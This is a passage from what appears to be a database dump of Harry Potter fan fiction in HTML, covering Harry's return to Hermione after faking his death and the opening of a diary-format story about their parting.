say, &quot;You sit there, and\nI&#8217;ll go get her.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Tonya appeared in the kitchen doorway. &quot;He\'s here. I\nthink.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Watch lunch for me, will you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sure.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione walked into the living room. He was standing, looking at\nthe doll on the mantel, which was dressed in a flowery sundress, white sandals,\nand sunglasses. The doll\'s hair was loose and flowing around its shoulders. He\nturned upon hearing her approach.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her throat tightened. It was him. But that nasty little voice in\nher mind wouldn\'t let her accept that everything was okay now that he was here.\n<i style="mso-bidi-font-style:normal">It might be a trick,</i> it said nastily.\n<i style="mso-bidi-font-style:normal">This might be someone trying to kill you\nor rape you, or do who knows what other terrible thing. You\'ll want to find out\nif it really is him before you run and kiss him.</i> </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oddly enough, Hermione agreed with the voice for once.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'re going to have to prove to me that you really are\nHarry,&quot; she said, her voice hard. Harry pulled back his bangs, so that she\ncould see his scar. She laughed. &quot;Anyone can do that.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry walked forward. &quot;Hermione, do you really need proof to\nknow that it\'s me? Don\'t you know it in your heart?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She held up a hand. &quot;Don\'t come any closer.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He stopped. &quot;Hermione... please. Listen; it\'s me. I\'m not\ndead, I\'m here. For you, only you. I love you. You do know that, right?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blinked rapidly. She hated to do this to him, but she had\nto know. &quot;I\'ll need more proof than that.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was quiet for a moment. Then he asked, &quot;Could I see\nyour right hand?&quot; She held it out to him, and he gently traced over the\nscar across her palm. &quot;Remember the night when I asked you to marry me and\nwe--we declared our undying love for each other over blood? We both slit our palms,\nand put them together. My blood, your blood, remember?&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She nodded, holding back tears. He held out his right hand, palm\nup, for her to see. There was the scar. &quot;You and I both know that no one\nelse knows about these scars. Is this proof enough for you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She stared at him in shock. And then promptly fainted into his\narms.</p>\n\n\n\n\n\n\n'),
	(150, 2, '\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center"><b style="mso-bidi-font-weight:\nnormal">Chapter 2: I\nPromise You</b><b style="mso-bidi-font-weight:normal"></b></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">I promise you</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">From the bottom of my heart</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">I will love you</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">Till death do us part</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Backstreet Boys \'I\nPromise You\'</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~~~~~~~~~~~~~~~<i style="mso-bidi-font-style:normal"></i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Could I see your right\nhand?&quot; She held it out to him, and he gently traced over the scar across\nher palm. &quot;Remember the night when I asked you to marry me and we--we\ndeclared our undying love for each other over blood? We both slit our palms,\nand put them together. My blood, your blood, remember?&quot; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">She nodded, holding back\ntears. He held out his right hand, palm up, for her to see. </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">There was the scar.\n&quot;You and I both know that no one else knows about these scars. Is this\nproof enough for you?&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">She stared at him in shock.\nAnd then promptly fainted into his arms.</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ndeftly caught her.&nbsp; Tonya came running\nout of the kitchen, ladle in hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What\'d\nyou do to her?&quot; she demanded.&nbsp;\n&quot;If you hurt her, I swear I\'ll....&#8221; She trailed off, waving the\nladle threateningly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ngently laid Hermione down on the couch, before turning to Tonya.&nbsp; &quot;I didn\'t hurt her, I merely shocked\nher.&quot;<i style="mso-bidi-font-style:normal"></i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">&quot;Well,\nthat\'s just as bad as hurting her!&nbsp; You\nmade her faint!&quot; Tonya screeched, waving the ladle some more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well,\nwouldn\'t <i style="mso-bidi-font-style:normal">you</i> faint if your thought to\nbe dead fianc&#233; suddenly appeared in your living room?&quot; Harry returned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well,\nyes, but that\'s not the point.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Then\nwhat is the point?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh,\nforget it,&quot; Tonya muttered, going back into the kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsat down on the floor next to couch, looking at Hermione all the while.&nbsp; &quot;Oh, darling,&quot; he murmured, &quot;how\ncould I have ever left you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\nknow, that\'s a good question,&quot; said Tonya, who had come back into the\nliving room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nstood up.&nbsp; &quot;And why, pray tell,\nmust you listen to my conversations?&quot; he snapped.&nbsp; This caused Tonya to throw her ladle at him.&nbsp; It hit him in the chest.&nbsp; &quot;OW!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well,\nyou deserved it.&nbsp; One, for leaving your\nwife-to-be, two, for pretending you were dead, three, for making the poor dear\nfaint, and four, snapping at me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nstirred.&nbsp; Harry and Tonya were\nquiet.&nbsp; They looked at her.&nbsp; Her eyes fluttered open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry?&quot;\nshe asked softly.&nbsp; Harry rushed to her\nside and knelt, so that he was face to face with her.&nbsp; &quot;Hi.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hello,\nlove.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why\'d\nyou leave me?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Voldemort\nwas getting closer.&nbsp; I didn\'t want him\nto hurt you.&quot;&nbsp; Harry kissed her\ncheek.&nbsp; &quot;My boss....&nbsp; Well, she thought that it would be better\nfor you if I were dead.&nbsp; She planned it\nall out.&nbsp; I wanted to tell you so much\nthat it was hard to keep it a secret.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh,\nHarry....&nbsp; Where\'d you go?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\nhad to leave in the dead of night.&nbsp; A\nfake me battled Lucius Malfoy and died.&nbsp;\nWhen I left, I went to the last place anyone would look.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Where?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Godric\'s\nHollow.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;But....&nbsp; Harry, that\'s where your parents died!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Exactly.&nbsp; No one would look there because that\'s the\nlast place they\'d think I would go to.&nbsp;\nI changed my name and my appearance, and I kept close surveillance on\nyou.&nbsp; I also corresponded with my boss,\nasking her every letter if I could come back to you.&nbsp; God, Hermi,&quot; he whispered, using his nickname for her,\n&quot;I missed you so much, it was sometimes too hard for me to keep on living\nwithout you by my side.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There\nwas a large sniffle behind them.&nbsp; Harry\nand Hermione looked up.&nbsp; Tonya stood\nthere, her eyes shining.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m\nsorry,&quot; muttered Tonya, wiping her eyes.&nbsp;\n&quot;That was just the sweetest thing I\'ve ever heard.&nbsp; Excuse me.&quot;&nbsp; She rushed off into the kitchen, where she could be heard blowing\nher nose.&nbsp; Harry grinned and\ncontinued.&nbsp; However, tears had sprung\ninto Hermione\'s eyes, too.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh,\nHarry!&quot; she cried, and hugged him tightly, letting the tears flow\nfree.&nbsp; He hugged her back.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Shh,\nit\'s all right,&quot; he whispered.&nbsp; She\nnodded against his chest and pulled away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;She\nfinally allowed me to come back to you.&nbsp;\nShe notified Percy to notify you, and I sent him my watch and my note to\nprove to you that it was really me.&nbsp;\nApparently, the watch did not work.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsmiled ruefully.&nbsp; &quot;Nope, it\ndidn\'t.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsmiled back and took her left hand in his.&nbsp;\nGingerly, he looked at it.&nbsp;\n&quot;You\'re not wearing it,&quot; he murmured.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\nwore it for about a year before I took it off, because I figured you were never\ncoming back to me,&quot; she replied softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Do\nyou still have it?&quot;&nbsp; She nodded and\nrose.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Follow\nme.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nfollowed her into her bedroom, where she went to one of the cedar dressers and\nrummaged through the top drawer.&nbsp; She\npulled out a small, navy blue box.&nbsp;\n&quot;Here it is.&quot;&nbsp; He took\nit and opened it.&nbsp; There the ring lay,\nwith a diamond in the center, and two sapphires on each side.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh,\nwow,&quot; Hermione breathed.&nbsp; &quot;I\'d\nforgotten how beautiful it was.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\nlooked even more beautiful on your finger,&quot; replied Harry quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsighed.&nbsp; &quot;I know.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione,\nI want to make this work, you and me.&nbsp;\nBut I don\'t know if you\'re up to it.&nbsp;\nIt might take a lot of work.&quot;&nbsp;\nHis eyes searched hers intently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;If\nit means being together again, then I\'m ready to take up the challenge,&quot;\nshe said quietly, smiling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\nlove you,&quot; whispered Harry, pulling her into a tight embrace.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\nlove you, too,&quot; Hermione replied against his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\npulled away, gently lifting her chin.&nbsp;\nCinnamon eyes met emerald, and then closed as the two young people\nshared their first kiss in four years.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ahem.&quot;&nbsp; Harry and Hermione broke apart, somewhat\nstartled.&nbsp; Tonya stood in the doorway,\nlooking down at the floor. &nbsp;&quot;Have\nyou stopped?&quot; she asked, not looking up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes,&quot;\nreplied Hermione with a grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Okay,&quot;\nreplied Tonya, looking up at last.&nbsp;\n&quot;I&#8212;well, you know... didn\'t want to intrude, but dinner\'s\nready.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;All\nright,&quot; said Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So,\ndid y\'all have a nice snog?&quot; Tonya added, very cheerfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That,\n<i style="mso-bidi-font-style:normal">mon amie</i>, is not of your\nbusiness,&quot; replied Hermione, walking out of the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As\nthey walked into the kitchen, Harry glanced around.&nbsp; &quot;Hermi, what\'s with all this tinsel?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ask\nTonya.&nbsp; It was <i style="mso-bidi-font-style:\nnormal">her</i> idea.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\nlike tinsel,&quot; Tonya said, serving him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Uhh...\nright.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Welcome\nto the insanity of Hermione\'s friend,&quot; she added.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nchuckled and took a bite, before immediately spitting it back out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What\nin the world is this?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\nwas supposed to be beef stew, but I think Tonya botched it up.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nand Hermione laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m\nsorry Tonya, but you know it\'s true,&quot; replied Hermione with a grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh,\nfine.&nbsp; I suck at cooking, all\nright?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Say,\nwhy don\'t we go out somewhere, my treat?&quot; asked Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No,\nno, I\'ll just whip up a batch of spaghetti,&quot; said Hermione, getting up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No,\nwe\'re going out.&nbsp; I don\'t want to make\nyou work any more than you have.&quot;&nbsp;\nHarry stood up, too.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s\n<i style="mso-bidi-font-style:normal">fine</i>, Harry!&nbsp; Spaghetti is easy to make, and it won\'t take\nmore than fifteen minutes.&quot;&nbsp;\nHermione was reaching into the cupboard.&nbsp; Harry caught her hand.&nbsp;\nShe looked at him.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;We\'re\ngoing out to eat, and I\'m paying,&quot; he said quietly, his face serious.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nsighed.&nbsp; &quot;All right.&nbsp; But where can we go?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;How\nabout that little place that we used to go to all the time?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry,\nTonya\'s a Muggle,&quot; Hermione whispered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Tonya\nhad no idea what Hermione had just said about her, but she sure wasn\'t going to\nlet it slip.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What\ndid you call me?&quot; she asked, her hands on her hips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\nsaid you\'re trouble... it\'s a seafood place; you don\'t like seafood,&quot;\nHermione replied hastily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh.&nbsp; Okay.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;McDonalds?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,\nHarry!&nbsp; That&#8217;s so&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cheap?&nbsp; Junky?&nbsp;\nUtterly disgusting?&#8221;&nbsp; Harry was\ngrinning.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsmiled and kissed his cheek.&nbsp; &#8220;All\nthree.&nbsp; Let&#8217;s go to&#8230; Greenleaf Palace!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nlooked at her, his smile lighting up his face.&nbsp;\n&#8220;An absolutely splendid idea!&nbsp;\nCome, my darling, and don your finest apparel.&nbsp; I shall don mine, and we will send your lovely Tonya to acquire\nhers!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Meet\nus here at six, all right?&#8221; Hermione asked her friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of\ncourse, and I shall have decked the halls, ye bonny lass!&#8221; With that cheerful\nstatement that made absolutely no sense at all, she left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsmiled up at her long lost lover.&nbsp; &#8220;That\nmade absolutely no sense.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\ngrinned.&nbsp; &#8220;I know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And\nwhy did you get that pompous air on?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nshrugged.&nbsp; &#8220;&#8217;Cause I felt like it, I\nguess.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nlove you.&#8221;&nbsp; They kissed again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Perhaps\nwe can make this work,&#8221; he murmured when they had finished.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nperhaps we can,&#8221; she replied softly, looking lovingly into his eyes.</p>\n\n\n\n<p class="MsoNormal" style="border:none;mso-border-bottom-alt:solid windowtext .75pt;\npadding:0in;mso-padding-alt:0in 0in 1.0pt 0in">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(151, 1, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp; Missing Each Other</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione,\nentry 1</p>\n\n<p class="MsoNormal">August\n10 </p>\n\n<p class="MsoNormal">My\nroom; Harry, Ron&#8217;s, and my four bedroom flat; London, England</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nis leaving tomorrow. I shall miss him a great deal. He has been accepted onto\nthe Puddlemere United reserve team, and I am happy for him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We\nthrew him a good-bye party tonight at the Leaky Cauldron, and he seemed to\nthoroughly enjoy it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Right\nbefore he opened his presents, he took me aside and gave me a navy blue book\nwith nothing on the cover. I opened it to find on the inside of the front\ncover, stamped in gold: This Diary Belongs To: ___________. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nmust have looked surprised because he said, &#8220;This is for you to record your\nthoughts in; a sort of friend in which to confide while I am gone. Keep it in a\nsafe place, away from water and other things harmful to books. It isn&#8217;t like\nTom Riddle&#8217;s.&#8221; I looked up at him, and found that his eyes were laughing. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nsmiled and said, &#8220;Thank you, Harry,&#8221; and gave him a big hug. Then I put the\ndiary in my purse, so that I could watch him open his presents.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Fred\nand George gave him a bag full of joke items from their shop (I&#8217;m not\nsurprised), which included Canary Creams, Ton Tongue Toffee, fake wands, and so\non. Ginny gave him a picture of him, her, Ron, and I standing in front of the\nWeasley home. I didn&#8217;t know she still had that picture. Ron gave him a book\n(that I was surprised at) about Puddlemere United. And I gave him a diary with\nan emerald cover. It was the same type as the one he gave me; in fact, I think\nwe went to the same store. Although&#8230;. I gave him two quills and three bottles\nof ink as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later,\nas Ron, Ginny, and I were cleaning up, someone came up behind me and wrapped me\nin a tight hug, though at first I thought someone was trying to attack me. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\ninstinctively reached for my wand, but then Harry&#8217;s voice came from behind me,\nsaying, &#8220;Thank you for the diary, Hermione. I&#8217;m sure I&#8217;ll enjoy it, as long as\nit isn&#8217;t like Tom Riddle&#8217;s. Is it?&#8221; I relaxed, grinning at my reflexes, and I\nturned to look at him. His eyes were teasing, and he had the diary in one hand.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No\nHarry, it&#8217;s not like Tom&#8217;s. You know it&#8217;s against the law to enchant Muggle\nthings,&#8221; I said, smiling at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nmust end it here for tonight, as I am tired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry,\nentry 1 </p>\n\n<p class="MsoNormal">August\n10 </p>\n\n<p class="MsoNormal">My\nroom; Hermione, Ron&#8217;s, and my flat; London, England</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Odd\nhow Hermione and I think alike. We gave each other diaries tonight. Then,\nlater, as she, Ron, and Ginny were cleaning up, I came up behind her and hugged\nher. She reached for her wand, suspecting, no doubt, that I was an attacker.\nThen I thanked her for the diary. She is so sweet. I think I&#8217;m going to need\nthat diary. I&#8217;ve confided in her many times, especially in our fifth year. I\ncried a bit, too. Cedric&#8217;s death really punched a hole in me. She really\ncomforted me. Of course, she never let Ron know. And if she did, I&#8217;d forgive\nher, for Ron hasn&#8217;t ridiculed me. But I don&#8217;t think she did. I trust her. Good\nnight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry,\nentry 2</p>\n\n<p class="MsoNormal">August\n11</p>\n\n<p class="MsoNormal">Living\nroom, our flat</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s\ncooking breakfast. It smells heavenly. French toast, scrambled eggs, bacon,\nsausage, hash browns, mmmm. Oh, Herm&#8217;s calling. Later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione,\nentry 2</p>\n\n<p class="MsoNormal">August\n11</p>\n\n<p class="MsoNormal">Living\nroom, our flat</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Well,\nhe&#8217;s gone. He left after lunch. And while lunch was cooking, something amazing\nhappened. I had just slid the pizza in the oven and closed it when he came into\nthe kitchen. Ron was in his bedroom, sulking over Amanda, who had moved in with\nus. Harry pulled me out of sight of the living room, then covered my mouth with\nhis own. HE KISSED ME!!!!! Oh, it was heavenly, so sweet, soft, and mesmerizing.\nI kissed him back, but I&#8217;m not sure why. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Then,\nwhen we parted, he whispered, &#8220;Thank you. Please don&#8217;t tell Ron or Amanda.&#8221;\nThen he left the room. I was extremely surprised. Thank you? I didn&#8217;t get it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lunch\nwas a silent affair, except when I told Ron he had pizza sauce on his chin.\nHarry and Amanda laughed at that. Then we all went back to being silent. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We\nlive in a wizarding apartment complex, so it was all right to ride the Knight\nBus. Ron carried his trunk out, and Amanda helped. Harry stayed inside for a\nminute to talk to me, alone. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nentire conversation went like this:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Him:\nGood-bye, Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Me:\nGood-bye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Him:\nThank you for that kiss. It will be in my memory forever. It will make me\nremember you throughout the years that I am away. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Me:\nThank <i style="mso-bidi-font-style:normal">you</i>. It will be in my memory as\nwell. But, won&#8217;t the diary make you remember me?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Him:\nI don&#8217;t know. But-can I kiss you again? Just for good measure?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Me:\nOkay.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Then\nwe kissed again. Oh, I felt like I was in heaven. It was so tender, and sweet.\nI loved every second of it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When\nwe parted, he said, &#8220;Good bye.&#8221; Then he hugged me and gave me a kiss on the\ncheek. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good\nbye. Keep safe,&#8221; I said, and then he left. I watched him leave out the window.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron\nis coming, so I&#8217;ll put this last thought down, then start dinner.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nthink I 